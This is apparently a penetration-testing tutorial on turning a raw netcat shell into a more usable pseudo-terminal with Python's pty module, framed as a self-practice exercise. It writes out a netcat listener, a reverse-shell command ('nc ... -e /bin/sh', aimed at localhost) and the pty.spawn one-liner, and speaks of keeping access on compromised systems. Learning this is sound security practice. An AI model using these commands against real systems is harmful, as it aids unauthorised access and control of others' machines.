terminal-md

This tutorial will introduce some very quick Python Kung Fu to fix a raw shell.  To fully understand the awesomeness of this little trick, you need to understand some of the challenges with a raw shell.

A raw shell is a command shell (cmd.exe, /bin/sh) bound to a network socket and either thrown back to the attacker (reverse shell), or bound to a listening port.  Raw shells don’t handle STDIN/STDOUT/STDERR the same way terminal access does (SSH access, directly at the keyboard, etc.).

What this means is typing certain commands in a raw shell can break “dork” the shell.  The easiest way to experience this first hand is to toss a netcat shell back to yourself.

# Start a netcat listener
~$ nc -lvp 443
listening on [any] 443 ...

# Use netcat to toss '/bin/sh' over a network socket
~$ nc 127.0.0.1 443 -e /bin/sh

Now you might notice you don’t see a prompt, go ahead and type some commands into your raw shell:

id
uid=1000(kali) gid=1000(kali) groups=1000(kali)

uname -a
Linux kali 3.12-kali1-amd64 #1 SMP Debian 3.12.6-2kali1 (2014-01-06) x86_64 GNU/Linux

ls
bin
boot
dev
etc
home
initrd.img
lib
lib64
media
mnt
opt
proc
root
run
sbin
selinux
srv
sys
tmp
usr
var

These commands all work, but anytime you type a command that wants input back from the user it will commonly break your shell access.  Things like (FTP, SSH, vi, etc.) won’t work because they require additional input from the user.  There are many ways to get around these limitations of a raw shell, such as building up files with echo line by line, instead of using vi.

One thing you may have also noticed is there is no prompt like you are used to when you have terminal access.  This is because the prompt is actually sent via STDERR and as we discussed earlier this isn’t sent over a raw shell.  So if you were trying to execute some additional file, say a meterpeter binary, you might not notice errors that occur when you attempt to execute.

One of the very first things I do when on a raw shell that has Python installed is spawn a pseudo-terminal with Python’s pty module.  This will give us a prompt and much better shell to the system, but its important to note that we still don’t have terminal access.  Below is the quick syntax to spawn a pseudo-terminal in our previously created raw shell:

python -c "import pty;pty.spawn('/bin/bash')"

kali@kali:/$ uname -a
uname -a
Linux kali 3.12-kali1-amd64 #1 SMP Debian 3.12.6-2kali1 (2014-01-06) x86_64 GNU/Linux

kali@kali:/$ id
id
uid=1000(kali) gid=1000(kali) groups=1000(kali)

kali@kali:/$ ls
ls
bin    dev         home   lib64  opt      srv  usr
boot   initrd.img  media  proc   sbin     sys  var
etc    lib         mnt    root   selinux  tmp 
kali@kali:/$

The -c argument allows the code to execute directly from the CLI.  We chain two commands together on the same line with a semi-colon and then spawn the pseudo terminal with ‘pty.spawn(‘/bin/bash’).  Take special note of the varying types of quotes with double and single tick.  You can have either set of quotes on the outside or inside, but they need to be opposite/varying.  For example this wouldn’t work:

python -c "import pty;pty.spawn("/bin/bash")"

Now even though this isn’t as good as terminal access, it is much better than the raw netcat shell.  Spend some time to play around in raw shells, and spawn pseudo-terminals with Python.  It is very important to learn the “no-no” commands for both Windows and Linux, so when you have a raw shell on a compromised system you don’t mess up your access.